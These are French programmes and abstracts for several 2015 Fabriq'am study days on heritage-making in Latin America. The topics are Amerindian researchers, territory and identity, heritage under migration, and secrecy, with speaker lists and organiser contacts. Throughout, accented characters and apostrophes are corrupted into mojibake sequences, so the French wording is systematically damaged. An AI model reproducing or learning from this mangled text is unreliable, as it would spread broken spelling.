Face A� un sentiment da��insA�curitA� quant A� la continuitA� socioculturelle qui ne date pas da��aujourda��hui, diffA�rentes populations amA�rindiennes cherchent A� sa��assurer de la transmission de leurs pratiques culturelles et de leurs a�?traditionsa��. A travers la��A�laboration des pratiques propres de transmissions et de registre, ou par la participation dans des dA�marches missionnaires, politiques, A�ducatives et scientifiques, plusieurs populations entament un processus rA�flexif sur leurs a�?culturesa�� et leurs a�?traditionsa��. Si ce processus na��est pas nouveau, il a A�tA� rA�cemment catalysA� par des actions politico institutionnelles comme les programmes nationaux et internationaux (UNESCO) de patrimonialisation des biens tangibles et intangibles, les programmes da��A�ducation multiculturelle et plurilingue, les programmes de dA�veloppement A�conomique et du tourisme. Fortement liA�e A� la��A�volution politique et juridique des droits autochtones, les populations amA�rindiennes se penchent de plus en plus sur leurs pratiques culturelles A� fin de les identifier, de les circonscrire, de les registrer et de les transmettre. Les modes de transmission ainsi que les contenus transmis varieront fortement selon le public A� qua��il se dirige – de la parentA� proche, passant par a�?la��ethniea�� et arrivant A� la a�?communautA� internationalea��.

Dans ce contexte ont voit A�merger des nouveaux spA�cialistes culturels, des acteurs fortement engagA�s dans cette dA�marche rA�flexiveA�: des professeurs et chercheurs indigA?nes, des chamanes, des intellectuels, des leaders communautaires, des guides touristiques, des artistesa�� Ca��est ce qua��on voit par exemple au BrA�sil. Dans deux dA�marches politico institutionnelles distinctes, mais fortement associA�es, dans la politique da��A�ducation multiculturelle et plurilingue et dans les programmes de patrimonialisation culturels (A� niveau national comme ce promu par la��Institut du patrimoine historique (IPHAN) ou international comme ce de la��UNESCO), la formation de a�?chercheurs amA�rindiensa��, qui rA�aliseront la recherche sur leur propre culture est fortement recommandA�e et est devenue pratique courante des programmes. Prenons par exemple le cas de la��A�ducation multiculturelle et plurilingue. Dans la quasi-totalitA� des formations des maA�tres indigA?nes la constitution du stagiaire en chercheur de sa propre culture et langue et devenue une pratique institutionnalisA�e. Un professeur amA�rindien sera, avant tout, un chercheur de sa propre culture. Et avec ses recherches il construira, en accord avec a�?la communautA�a��, les programmes da��enseignement scolaire. Une dA�marche trA?s similaire peut-A?tre retrouvA�e dans les activitA�s liA�es aux programmes de sauvegarde des patrimoines intangibles, qui se reposeront principalement sur les recherches, les classifications et les catA�gorisations rA�alisA�es par les amA�rindiens, devenus a�?chercheurs de leurs culturesa��.

Dans cette demi-journA�e da��A�tude nous nous proposons de nous pencher sur ces nouveaux acteurs pour rA�flA�chir sur la place, le rA?le et les activitA�s de ces a�?nouveauxa�� spA�cialistes culturels (soit ils institutionnalisA�s ou pas). Nous chercherons A� dA�crire et A� rA�flA�chir sur ce que les chercheurs amA�rindiens fontA�; comment ils le fontA�; pourquoi ils le fontA�; A� qui ils le fontA�; et quand ils le font.

Quelle est la comprA�hension amA�rindienne du statut de chercheurA�? Quelles fonctions, mA�thodologies et interprA�tations sont attribuA�es par les amA�rindiens A� leur rechercheA�? Quel type de production est gA�nA�rA�eA�? Sur quels supportsA�? Envers quels publicsA�? Quelle place institutionnelle et politique A� ces acteurs (local et extra localement)A�? Ce sont des exemples de questions qui seront dA�battues lors de cette demi-journA�e.

PROGRAMME

10h-10h30A�Chan vun : apprendre le livre

Rocio Noemi M. Martinez a�� FCS/Universidad Autonoma de Chiapas

Le verbeA�chanelA�signifie en langue maya tsotsilA�: A�A�apprendreA�A�1.A�ChanoA�dans la conjugaison A� la premiA?re personne veut dire A�A�ja��apprendsA�A�. Dans cette prA�sentation je rA�flA�chirai sur ce queA�chan vun A�A�apprendre le livreA�A� (qui dA�finit les fonctions de l’A�criture et de la lecture de signes alphabA�tiques), signifie pour les peuples maya tsotsil, oA? la connaissance (leur patrimoine culturel), est habituellement transmise par diverses formes d’oralitA� et des techniques du rituel. Il est nA�cessaire de se rappeler que le systA?me d’A�criture en supports fixes, comme chez les anciens mayas, A�tait syllabique et non alphabA�tique. Il A�tait aussi complA�mentaire de la pictographie, de l’idA�ographie et des signes phonA�tiques, inscrits sur les stA?les, la peinture murale, les codex, la cA�ramique, entre outres. Dans ces cas les signes A�quivalents A� la��A�criture (qua��aujourda��hui on A�tudie dans la discipline de la A�pigraphie) ne transmettaient pas les mA?mes signifiances que celles du langage iconique. Le systA?me colonial a dA�truit beaucoup des formes de transmission des peuples autochtones comme celui de la��A�criture maya. Toutefois ils restent dans la mA�moire rituelle et dans les langages expressifs (de l’oralitA�), plusieurs formes qui constituent des systA?me pastellistes da��A�nonciation et de transmission, que l’on peut nommerA�a�?patrimonialesa�?.

  1. XchanelA�c’est la traductionA�da��enseigner, toujours liA�e A� la formule: apprendre.

10h35-11h05A�Nouvelles mA�thodes de recherche engagA�e autour du patrimoine mA�soamA�ricain

Karla JanirA� AVILA�S GONZA?LEZ – Labex EFL Paris 7 – PRES Sorbonne Paris CitA� / EREA

Cette communication vise A� prA�senter et A� s’interroger sur les nouvelles approches de recherche autour du patrimoine, tout particuliA?rement des langues et des cultures nahuas du Mexique, afin d’A�viter les consA�quences ethnocides liA�es A� une certaine recherche appliquA�e de maniA?re directive (advocacy). Ces nouvelles approches, prenant en compte le contexte politique actuel des revendications indigA?nes, partent d’une attitude rA�flexive et critique du rA?le du chercheur (Bordieu 1994). Elles tiennent A�galement compte des idA�ologies, des attentes et des agendas des communautA�s / acteurs impliquA�s (AvilA�s GonzA?lez 2009).

De la prA�servation de la culture tangible (ex. sites archA�ologiques) A� la revitalisation des langues et cultures mA�soamA�rindiennes en risque d’extinction,A� la recherche engagA�e via ces nouvelles mA�thodes va au-delA� de l’institutionnalisation folklorique du patrimoine culturel ou de sa prA�servation sous forme d’archives (LA�onard et AvilA�s GonzA?lezA�sous presse). Elle cherche A� mettre en valeur l’hA�ritage culturel et A� contribuer A� saA�rA�activation. Le chercheur agit comme acteur d’unA�amA�nagementA�culturel co-participatif. Ce qui, d’un cA?tA�, remet en question le postulat mA�thodologique de neutralitA� du positivisme classique, et de l’autre, fait A�merger les questions suivantesA�:A�A�qui fait quoiA�?A� pour quoiA�? pour quiA�? etA�commentA�?,A�aussi bien chez les acteurs locaux qu’au sein du monde acadA�mique.

11h10-11h40A�Approche A�pistA�mologique de savoirs amA�rindiens (piA�mont bolivien)

Francis FerriA� a�� docteur en Ethnologie par Paris X- Nanterre

Qua��est-ce qua��un chercheurA�? Le champ lexical occidental du terme, qui recouvre tant investigateurA�que savant, est-il pertinent dans un contexte da��ethnogenA?se amA�rindienne sur le piA�mont bolivienA�? Dans le sens trA?s large da��investigateur, le terme conviendrait sans doute aux entrepreneurs de la renaissance ethnique du peuple Leco, qui fit appel A� des domaines professionnels aussi variA�s qua��avocat, juriste constitutionnel, historien, gA�ographe, linguiste, anthropologue, agronome, zoologue, spA�cialiste de la��environnement, A�conomiste, politicien et lobbyiste. Alors que sous la��acception savant, il correspondrait plus auA�curanderoA�(mA�decin, expert religieux), dont la connaissance chamanique est consultA�e par tous.

11h45-12h15A�An indigenous research as equivocation – An experience among the Guarani-Mbya

Joana Cabral de Oliveira – Post-doctorat A� la��UniversitA� de SA?o Paulo et A� la��UniversitE da��Oxford

This paper is supported by an experience of researcher training among the Guarani-Mbya people (an amerindian group, speakers of a Tupi-Guarani language). This presentation aims to discuss ethnographically how different modes of knowing and conceive the knowledge emergedA� from this process. The notion of equivocation, borrowed from Roy Wagner and Eduardo Viveiros de Castro, can help us to understand how this kind of context (that involves cultural policies of Brazilian State, guarani people and their demiurges, a NGO and anthropologists) enables different knowledge theories come out.

Traduction (la��intervention sera faite en anglais)A�:La��intervention analyse la��expA�rience de formation A� la recherche des amA�rindiens Guarani-Mbya (locuteurs da��une langue Tupi-guarani). La prA�sentation vise A� rA�flA�chir da��un point de vue ethnographique aux modes des connaissances et A� la connaissance A�mergA�e dans ce contexte de formation. La notion da��A�quivoque (A�quivocation) de Roy Wagner et Eduardo Viveiros de Castro A� la��appui on cherche A� comprendre la contribution du contexte (les politiques culturelles de la��Etat brA�silien, le peuple guarani et leurs dA�miurges, et les anthropologues des ONG) A� la mise en A�vidence de diffA�rentes thA�ories de connaissance.

12h20-12h50 A�LeA�NgenpinA�(maA�tre de la parole) et la��artiste contemporainA�: deux nouvelles formes da��expression de la transmission de la culture et du patrimoine Mapuche (Chili-Argentine)

Ana Guevara a�� doctorante LAS/EHESS

Lors de cette intervention, je souhaite mettre en A�vidence quelques A�lA�ments de deux parcours trA?s diffA�rents, mais qui finalement peuvent se voir comme faisant partie du processus rA�flexif que deux acteurs Mapuche ont sur leur culture, leurs traditions et leur patrimoine.

Le premier, artiste contemporain, Francisco Huichaqueo, veut rendre visible la culture Mapuche au travers da��un art A�A�engagA�A�A�. Cette forme da��expression permet, A� partir da��un regard autochtone, de dA�montrer et da��exprimer par da��autres moyens, les aspects conflictuels auxquels sont confrontA�s les mapuches da��aujourda��hui.

Le deuxiA?me exemple est celui duA�NgenpinA�ou maA�tre de la parole (rA?le traditionnel A� caractA?re spirituel). Il participe notamment au rituel le plus important des Mapuche, leA�NguillatunA�et est censA� transmettre les traditions du riche patrimoine Mapuche. De nos jours, unA�NgenpinA�peut sa��autoproclamer et comme dans ce cas devenir consultant et mA�diateur en tradition Mapuche, tant au niveau national (Chili) qua��A� la��international.

Discussion finale

Contacts :

Silvia Macedo :A�silvia.lopesmacedo@gmail.com

Laurence Charlier : laurencecharlierzein@gmail.comA�

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JOURNA�E D’A�TUDE FABRIQ’AM, Territoires et identitA�s : une approche patrimoniale, le 13 mai 2015, EHESS, Paris

JournA�e da��A�tude Fabriqa��am

TERRITOIRES ET IDENTITA�S : UNE APPROCHE PATRIMONIALE

Mercredi 13 mai 2015

A�cole des Hautes A�tudes en Sciences Sociales

A�bA?t Le France, 190 avenue de France, 75013 Paris

salle J.P. Vernant (8e A�tage), de 9h30 A� 17h30

OrganisationA�: VA�ronique Boyer et Emilie Stoll

 

Bondaz, Graezer Bideau, Isnar et Leblon[1] soulignent que ce qui est en jeu dans le champ contemporain du patrimoine est A�A�la mutation da��un bien ordinaire en bien distinguA�A�A� (2014: 11). Le dA�ploiement par les A�tats de politiques territoriales nous semble susceptible da��A?tre apprA�hendA� en ces termes. En effet, ces politiques A�A�distinguentA�A�, ca��est-A�-dire cherchent A� valoriser certains espaces en leur confA�rant un statut administratif spA�cifique, en les affectant A� un usage particulier (parc naturel, rA�serve indienne ou A�cologique, etc.) et leur attribuant des moyens humains et financiers propres. En da��autres termes, la mosaA?que territoriale que la��on observe sur les reprA�sentations cartographiques correspond A� un dA�coupage juridique rA�el ou dA�sirA�, lequel se nA�gocie A� diffA�rentes A�chelles (du local A� la��international) et entre diffA�rents acteurs (populations, tiers secteur, institutions publiques, intA�rA?ts privA�s, organisations professionnelles, etc.).

Certains de ces territoires sont constitutionnellement corrA�lA�s A� une identitA� ethnique (indien par exemple) tandis que da��autres sont associA�s A� une activitA� spA�cifique (extraction de latex) ou au maillage administratif (municA�pio). Or, dans un contexte oA? A�A�penser patrimoineA�A� est devenu un leitmotiv pour cet ensemble trA?s diversifiA� da��acteurs, la��appartenance territoriale tend A� A?tre essentialisA�e dans des termes A�A�identitairesA�A�, mA?me si elle a A�tA� conA�ue au dA�part sous une autre modalitA�A�: une rA�serve A�A�A�cologiqueA�A� abrite des A�A�populations traditionnellesA�A�, donc spA�cialistes da��un artisanat, un municA�pio est indien parce que ca��A�tait une A�A�rA�publica de indiosA�A�. La��inscription spatiale et la��A�noncA� de la��identitA� semblent ainsi imbriquA�s dans des raisonnements circulaires.

Pour sa��imposer comme des acteurs dont la��action patrimoniale est lA�gitime ou qui sont dignes de patrimonialisation, les populations locales et leurs relais A�laborent des rA�cits sur le passA� et la tradition qui se veulent spatialement ancrA�s et incontestablement singuliers. Le processus de traduction, de nA�gociation et de transformation est fonction de leur insertion dans un champ politique local et leur interlocution avec divers acteurs externes, institutionnels ou pas. Il vise A� rendre incontestables leurs prA�tentions territoriales, et la A�A�distinctionA�A� de leur espace de vie vis-A�-vis de voisins proches qui ne pas toujours des A�A�A�trangersA�A�.

Cette journA�e da��A�tude entend examiner les rapports entre identitA� et territoire qui se jouent autour de la patrimonialisation en partant da��exemples ethnographiques latino-amA�ricains, et dans une perspective qui sa��attache A� restituer les conditions de la��A�mergence de tels phA�nomA?nes.A�Nous proposons deux axes de rA�flexionA�:

1) acteurs du champ politique et nA�gociations patrimoniales

2) lectures de la��espace, objets du patrimoine, territorialitA�s

PROGRAMME

MatinA�e

9h30

Accueil des participants

10h

Introduction

VA�ronique Boyer (CNRS-Mondes AmA�ricains) et Emilie Stoll (post-doc A� University of Aberdeen)

10h20

Staking and Silencing Life: Narrating Mineral Exploration and Land Use Planning in the Canadian North

Jan Peter Laurens Loovers (post-doc A� University of Aberdeen / Arctic Domus project)

10h40

La��identitA� comme stratA�gie de lutte pour le territoireA�? Le cas du CA�ur Picinguaba du Parc de la��Etat de la Serra do Mar, SA?o Paulo, BrA�sil

Jorge Calvimontes (post-doc A� l’UMR 208 Paloc/MNHN-IRD et A� la��UniversitA� de Campinas, BrA�sil)

11h – Pause cafA�

11h15

Les nouveaux agents de la patrimonialisation au PA�rou : lA�gitimitA�, reformulations identitaires, participation communautaire

Emanuela Canghiari (doctorante en Anthropologie A� l’EHESS, IIAC/LAHIC)

11h35 a�� 12h15

Discussion des prA�sentations

MenA�e par France GuA�rin-Pace (INED) et BA�atrice Fraenkel (EHESS)

12h15

DA�bat

12h45 – Pause dA�jeuner (buffet)

AprA?s-midi

14h30

De pariwat (A�A�A�trangers/ennemisA�A�) A� wuyA�a??uy bugum (A�A�ceux qui pensent comme nousA�A�)A�:A�scissions et alliances de groupes sociaux distincts atteints par des menaces communes (Amazonie, BrA�sil)

Mauricio Torres (chercheur indA�pendant, associA� A� la��Universidade Federal do Oeste do ParA?)

14h50

La fabrique des A�A�patrimoines A� entre ethnicitA�, globalisation et finance dans les vignobles du Bordelais

Chantal CrennA�(MaA�tre de confA�rences A� la��UniversitA� de Bordeaux Montaigne/UMI 3189 ESS Dakar, chercheur associA� A� la��UMR 5115 Les Afriques dans le Monde SNRS-IEP Bordeaux)

15h10 – Pause cafA�

15h25

La municipalisation du village tseltal da��Aguacatenango, Chiapas (Mexique)A�: logiques de projet de patrimonialisation da��un paysage identitaire

Marie ChossonA�(MaA�tre de confA�rences A� la��INALCO-CESSMA)

15h45

Discussion des interventions

MenA�e par Claudia Damasceno (EHESS) et Anne-Marie Losonczy (EPHE)

16h25

DA�bat

[1] BONDAZ, Julien, GRAEZER BIDEAU, Florence, ISNART, Cyril, LEBLON, AnaA?s, A�A�Relocaliser les discours sur le A�A�patrimoineA�A�A�A�, inA�: Les vocabulaires locaux du A�A�patrimoineA�A�A�: traductions, nA�gociations et transformations, Berlin, Lit, 2014, p.A�9-30. Le livre a A�tA� prA�sentA� lors de la journA�e Fabriqa��am de dA�cembre 2014.A�

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JOURNA�E D’A�TUDE FABRIQa��AM : Patrimonialisation en situation de migration, 16 avril 2015, LESC-MAE, Nanterre

 

JournA�e da��A�tude FABRIQa��AM

PATRIMONIALISATION EN SITUATION DE MIGRATION

16 avril 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

Les diffA�rentes discussions que nous avons pu avoir autour de la comprA�hension des processus de patrimonialisation ont montrA� la nA�cessitA�, dans le contexte actuel de la globalisation, de prendre en compte les mobilitA�s croissantes liA�es aux migrations, aux flux touristiques, A� la circulation des objets via certains circuits commerciaux et de la��information via les rA�seaux de communicationa�� Dans le cadre de cette journA�e da��A�tude, nous souhaitons aborder cette question de la mobilitA� en nous centrant sur la construction des A�A�patrimoinesA�A� en situation de migrations -internationales ou nationales- dans les AmA�riques. (La prA�sence da��AurA�lie Condevaux nous permettra da��A�largir nos dA�bats en comparant avec une situation nA�o-zA�landaise).

Il sa��agira de comprendre qui sont les individus qui participent A� la valorisation de certains objets ou pratiques, A� partir de quels rA�seaux -rA�gionaux, nationaux et transnationaux- ils dA�ploient leurs actions, quelles sont les dynamiques de circulation, quels sont leurs A�ventuels liens avec les institutions patrimoniales.

Nous nous intA�resseront A�galement A� la question de ce qui est patrimonialisA�. Partant da��A�tudes empiriques permettant da��apprA�hender la question de ce qui est transmis et transmissible, rendu visible ou invisibilisA�, appropriA� et valorisA� pour construire des rA�fA�rences identitaires communes, nous questionnerons la notion da��A�A�A�hA�ritage culturelA�A� dans un contexte de dA�territorialisation et aborderons les enjeux de la mise en patrimoine en situation de migration. Nous verrons les significations nouvelles que peuvent revA?tir les pratiques et les objets patrimonialisA�s sous la��effet de la circulation. Nous aborderons les dimensions politiques et territoriales de ces mobilisations patrimoniales.

Programme

9h a�� 9h30

Accueil des participants autour da��un cafA�

9h30

Introduction,A�Sylvie PA�dron-Colombani

9h45

Christian Rinaudo,A�A�A�Son jarocho entre Mexique, Etats-Unis et Europe :A�acteurs, circuits et enjeux de laA�patrimonialisation rA�ticulaire da��une pratique culturelle transnationale A�

10h30

Sylvie PA�dron Colombani,A�A�A�San SimA?nA�aux Etats-UnisA�: processus de patrimonialisation da��un saint populaire guatA�maltA?que dans le cadre de la migration internationale A�

11h15

AurA�lie Condevaux,A�A�A�Migrations et requalifications patrimonialesA�: le cas des pratiques esthA�tiques polynA�siennes (Tonga/ Nouvelle-ZA�lande)A�A�

12h

Discussion gA�nA�rale

12h30

Pause dA�jeuner sur place autour da��un buffet

13h30

Anna Perraudin,A�A�A�DA�valorisations et revalorisations da��un patrimoine ethnicisA�A�: les poupA�es artisanales otomisA�A�

14h15

Charlotte Pescayre,A�A�A�MaromaA�et migrationA�: construire un rA�seau patrimonial A�

A�15h

Discussion gA�nA�rale

15h30

Fin de la journA�ea��

RA�sumA�s des communications

AurA�lie Condevaux (UniversitA� de Tours, EIREST (EA7337)/associA�e au CREDO (UMR 7308)A�: A�A�Migrations et requalifications patrimonialesA�: le cas des pratiques esthA�tiques polynA�siennes (Tonga/ Nouvelle-ZA�lande)A�A�

Les pratiques musicales et dansA�es dites A�A�polynA�siennesA�A� font l’objet de circulations et da��A�A�A�empruntsA�A� A� la��A�chelle du Pacifique. Ce phA�nomA?ne, qui est loin da��A?tre nouveau, est exacerbA� aujourda��hui par le nombre grandissant de festivals, la mise en tourisme des cultures, et par la mobilitA� des acteurs eux-mA?mes (du fait notamment d’une A�migration forte des petites nations insulaires vers les puissances A�conomiques du pourtour du Pacifique). En fonction des contextes dans lesquels elles sont exA�cutA�es, ces pratiques esthA�tiques revA?tent des significations diffA�rentes. Ainsi, alors que sur la scA?ne du Te Papa Tongarewa, le musA�e national nA�o-zA�landais, les danses des archipels A�A�polynA�siensA�A� sont incluses dans la dA�finition d’un A�A�patrimoineA�A� national commun, elles ne reprA�sentent guA?re plus pour les Tongiens qu’une forme de divertissement exA�cutA� dans des contextes hA?teliers, pour les touristes (Tonga est un royaume indA�pendant du Pacifique sud). Cette communication propose de mettre en lumiA?re les enjeux politiques et identitaires qui permettent d’expliquer ces changements de signification et en particulier la requalification de ces pratiques esthA�tiques comme A�A�patrimoineA�A� dans certains contextes. Cette rA�flexion sa��appuiera sur des donnA�es recueillies en Nouvelle-ZA�lande et A� Tonga entre 2008 et 2013.

Sylvie PA�dron Colombani (UniversitA� Paris Ouest Nanterre La DA�fense a�� EREA/LESC)A�: A�A�San SimonA�aux Etats-UnisA�: processus de patrimonialisation da��un saint populaire guatA�maltA?que dans le cadre de la migration internationaleA�A�

San Simon est un des saints populaires qui ont gagnA� en visibilitA� au cours des derniA?res dA�cennies dans certaines villes des Etats-Unis oA? la prA�sence de migrants centramA�ricains est forte. Son culte, originaire du Guatemala et trA?s ancrA� dans la��univers du catholicisme populaire et le monde indien maya des hauts plateaux guatA�maltA?ques, sa��est diffusA� par le biais des migrations, internes au Guatemala dans un premier temps, puis internationales a��avec les flux croissants vers les Etats-Unis.

Dans le cadre de cette communication, nous allons explorer le processus de valorisation (patrimonialisationA�?) dont il est la��objet depuis un certain nombre da��annA�es dans la ville de Los Angeles. Son culte a quittA� la sphA?re privA�e et est mis en scA?ne dans des festivitA�s publiques A� caractA?re culturel. Nous porterons une attention particuliA?re aux acteurs qui en sont responsables, A� leur diversitA�, A� la question des re-significations en jeu dans ce processus de patrimonialisation et A� ses enjeux.

Le terrain nous amA?nera donc A� considA�rer la��articulation entre patrimoine religieux et patrimoine culturel, A� envisager la construction da��un patrimoine commun A� une communautA� de migrants centramA�ricains dans le contexte multiculturel de la ville de Los Angeles ainsi que ses enjeux politiques et identitaires.

Anna Perraudin (post-doctorante Labex-Med (CNRS/Aix-Marseille UniversitA�), rattachA�e au LAMES et A� TELEMME)A�: A�A�DA�valorisations et revalorisations da��un patrimoine ethnicisA�A�: les poupA�es artisanales otomisA�A�

La communicationA� s’intA�resse aux rA�seaux de production et de vente de poupA�es artisanales en chiffon, au Mexique. EmblA?me national, cadeau souvenir typique du Mexique, les poupA�es sont aussi identifiA�es comme “poupA�es otomis”, en rA�fA�rence A� l’origine de leurs productrices, provenant d’une mA?me rA�gion indienne. Production et commerce des poupA�es sont des activitA�s genrA�es et A�troitement liA�es A� d’importantes mobilitA�s commerciales vers les villes mexicaines. Devenues intenses dans les annA�es 1940 en raison d’une crise de l’A�conomie agricole, les migrations internes perdurent jusqu’A� aujourd’hui sous des formes plurielles et ont abouti A� l’installation durable de plusieurs centaines de familles dans les principales villes mexicaines, dont la capitale Mexico. Or, dans le contexte urbain, les poupA�es – et plus spA�cifiquement les pratiques de vente – font depuis une vingtaine d’annA�es l’objet d’une rA�ception ambivalente par la sociA�tA� majoritaire, entre dA�valorisation et revalorisation. Cette ambivalence est significative de l’ethnicisation des rapports sociaux, A� l’oeuvre A� Mexico et se rA�percute au sein du groupe indien, produisant des divisions nouvelles. De quoi les poupA�es otomis sont-elles le reflet? Quelle signification prennent-elles pour les vendeuses et leur groupe d’appartenance? Comment les productrices s’adaptent-elles afin de prA�server des pratiques, et un objet conA�u comme une image d’elles-mA?mes? L’analyse s’appuiera sur une enquA?te ethnographique menA�e A� Mexico au cours de plusieurs sA�jours, entre 2003 et 2015.

Charlotte Pescayre (LESC, UNAM)A�: A�A�MaromaA�et migrationA�: construire un rA�seau patrimonial A�

La maroma (corde A�paisse utilisA�e par les marins) a donnA� son nom A� une expression spectaculaire, rituelle et festive pratiquA�e par des groupes da��artistes-paysans indigA?nes et mA�tis dans les rA�gions rurales du Sud du Mexique. Le A�A�spectacleA�A� inclut des acrobates, danseurs de corde, clowns, trapA�zistes, musiciens, et sa��effectue en gA�nA�ral A� la��occasion de festivitA�s communautaires des rA�gions da��Oaxaca (Mixteca Baja, Sierra Mixe, Costa Chica), Guerrero, Puebla et Veracruz. Aujourda��hui, la maroma subit de multiples transformations dues aux relations que ses acteurs tissent avec des institutions culturelles et des cirques, et celle-ci sa��insA?re dA�sormais dans diffA�rents processus de patrimonialisation et de valorisation. La��impact de la migration (vers les USA et aussi les capitales nationales) sur cette pratique, dA�jA� identifiA� par Luz MarA�a Robles DA?vila (2008) sur la maroma mixtA?que, a A�galement engendrA� de nombreuses transformations. Il sa��agira donc da��analyser cet impact et la construction de cette pratique comme patrimoine itinA�rant. Les rA�seaux de maromeros qui se renforcent lors des rencontres annuelles de maromeros organisA�es par les institutions locales seront explorA�s afin de faire A�merger les individus qui participent A� la valorisation de la maroma (artistes, chercheurs, fonctionnaires, leaders). Aussi, nous A�voquerons deux projets (Transatlancirque et Pasatono) qui ont contribuA� A� la visibilisation, la��internationalisation et en quelque sorte A� la��A�A�A�artificationA�A� de la maroma.

Christian Rinaudo (UniversitA� Nice Sophia Antipolis, Directeur adjoint de l’URMIS)A�: A�A�Son jarocho entre Mexique, Etats-Unis et Europe :A�acteurs, circuits et enjeux de laA�patrimonialisation rA�ticulaire da��une pratique culturelle transnationale A�


DA�fini comme un genreA�des composantes constitutives deA�la��hA�ritage culturel mexicain. Au dA�but des annA�es 1970, quelques musiciens etA�universitaires ont commencA� A� questionner les dA�rives commerciales etA�folklorisantes de cette pratique, duA�A� mouvementA�jaranero A� (du fait deA�la��usage central de la jarana, petite guitareA�da��origine espagnole). Ce dernier va contribuer A� la��A�mergence da��un discoursA�patrimonial renvoyant A� un passA� mythique : celui des fandangos, fA?tesA�traditionnelles dans et par lesquelles se transmet uneA�mA�moire collectiveA�commune.A�A partir des annA�es 1990-2000,A�la collaboration entre la nouvelle gA�nA�ration de musiciens deA�Veracruz et leA�mouvement chicano aux Etats-Unis va multiplier les propositions de productionA�da��une mA�moire commune etA�dA�velopper un activisme social et politique qui, enA�sa��articulant avec le mouvement zapatiste, constitue un des enjeux de laA�patrimonialisationA�da��une pratique qui se dA�ploie dA�sormais dans un champ social transnational.

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JOURNA�E D’A�TUDE FABRIQ’AM, Le secret, le 2 mars 2015, EHESS, Paris

JournA�e da��A�tude Fabriqa��am

PATRIMONIALISATION ET RA�GIMES Da��HISTORICITA� (II)A�

LE SECRET

Lundi 2 mars de 10 heures A� 18 heures,

A�cole des Hautes A�tudes en Sciences Sociales

A�bA?t Le France, 190 avenue de France, 75013 Paris

salle du conseil B

Nous avons au cours du projet Fabriqa��am explorA� diffA�rentes modalitA�s de A�A�mises en oubliA�A� suscitA�es par la patrimonialisationA�(la substitution de rituels, la��opposition, la��euphA�misation ou la��A�radication de la violence de certaines pratiques par exemple). Mais mettre en patrimoine suppose parfois aussi de taire volontairement pour diffA�rents motifs : la peur, la honte, la fiertA�, la colA?re, des formes de rA�sistance, la��affirmation da��un frontiA?re dans un monde qui se veut globalisA�, ou bien au contraire la volontA� de masquer des particularitA�s afin de pouvoir sa��y insA�rer et de pouvoir mener des revendications.

La��objectif de cette journA�e est de rA�flA�chir sur le A�A�secretA�A� dans un contexte de patrimonialisation et avec la volontA� de confA�rer une importance au contenu du secret et de ne pas rA�duire son analyse A� la��A�tude seule de sa forme (voir Adell 2014). DiffA�rents aspects seront abordA�sA�:

  • Les liens entre la��oubli et le secretA�: comment penser la��articulation ou les glissements entre le fait da��oublier et le secret dans les cas oA? la��idA�al de la patrimonialisation (idA�al communautaire, dA�mocratique, de justice, d’A�quilibre et de rA�ciprocitA�, d’harmonie avec la nature etc. selon) na��est pas compatible avec certaines pratiques indigA?nes (peines de mort, combats rituels violents, attaques sorcelaires par exemple)A�; comment penser cette articulation encore, dans les cas de violence politique (Voir Robin 2013) et notamment quand A�A�le devoir de mA�moireA�A� a donnA� lieu A� des processus de patrimonialisationA�?
  • Les conceptions et les rapports A� la temporalitA� et A� la��ancestralitA�, les modes de constructions mA�morielles A� travers la��A�tude des liens entre histoire orale et les archives notamment.
  • Voiler et dA�voiler : dA�voiler na��est pas que dire, tandis que cacher ne se rA�sume pas A� taire ; inversement taire na��est pas forcA�ment cacher et garder secret (voir (Adell op. cit., Armanet 2011). Il sa��agira de sa��interroger sur les rapports entre le contenu et la formeA�du secret ainsi que sur la transmission et le contrA?le de la diffusionA�da��information (contrA?ler cette diffusion au sein da��un processus de patrimonialisation est-ce garder un secretA�? Le secret peut-il supporter un dA�voilement graduelA�?). Mais au delA�, la��A�tude du secret interroge sur les frontiA?res qua��il estompe ou qua��il affirme entre des groupes et par lA� renvoie intimement A� des enjeux identitaires et politiques qua��il conviendra da��explorer dans sa dimension A� la fois synchronique et historique (Voir Demanget 2014).
  • Patrimoine, secretA�et trace : certaines pratiques (des rituels funA�raires, des techniques narratives) visent A� effacer des traces, A� faire disparaA�tre ou A� dissimuler et font en sorte qua��il na��y ait pas de transmission possible. Comment penser alors leur patrimonialisationA�? Peut-on patrimonialiser ce qui a disparu intentionnellementA�? Nous mettrons en parallA?le des cas oA? des pratiques fondA�es sur la��oubli et le secret na��ont jamais A�tA� patrimonialisA�es et da��autres fondA�es sur le contrA?le de la diffusion da��informations (certains codes culturels sont dA�voilA�s, da��autres non) afin de rA�flA�chir sur la��articulation entre secret, patrimoine et trace tout en considA�rant les diffA�rentes A�chelles de ce processus. Enfin, nous nous demanderons si inversement, la patrimonialisation ne peut pas A?tre vA�cue comme un dispositif qui a rA�vA�lA� des secretsA�?
  • Les A�motions : elles semblent jouer un rA?le cardinal dans les processus qui conduisent des groupes A� A�A�faire des secretsA�A�. Il sa��agira ici de mieux dA�terminer quelles peuvent A?tre ces A�motions, da��examiner leur rA?leA�(dans quelle mesure sont-elles des embrayeursA�de rA�flexivitA�A�? par exemple) et de sa��interroger sur la��articulation entre expression A�motionnelle, discours et pratiques.
  • La��anthropologue et le secretA�: quel est le rA?le de la��anthropologue et quelle prise de risque dans la��anthropologie et la��ethnographie du secret (Voir Graham M. Jones 2014) dans un contexte de patrimonialisationA�?A�Que fait la��anthropologue quand ses donnA�esA�sont censA�es rester secrA?tesA�? Ces interrogations conduisent A� nous interroger cette fois-ci sur les secrets de la��anthropologueA�et sur la��autocensure du chercheurA�: comment expliquer des processus politiques sans dA�voiler l’intimeA�? Comment concilier un certain engagement moral et politique, parfois militant, avec le travail scientifique par exemple ?

A�PROGRAMME

10hA�: accueil des participants

10h20

Laurence Charlier (anthropologue associA�e au MA)

PrA�sentation,

Lire le texte :A�PrA�sentation secret, L Charlier

10h30

Montserrat Ventura i Oller (Universitat AutA?noma de Barcelona)

La tradition A� la��envers : passA� et futur dans un exemple A�quatorien

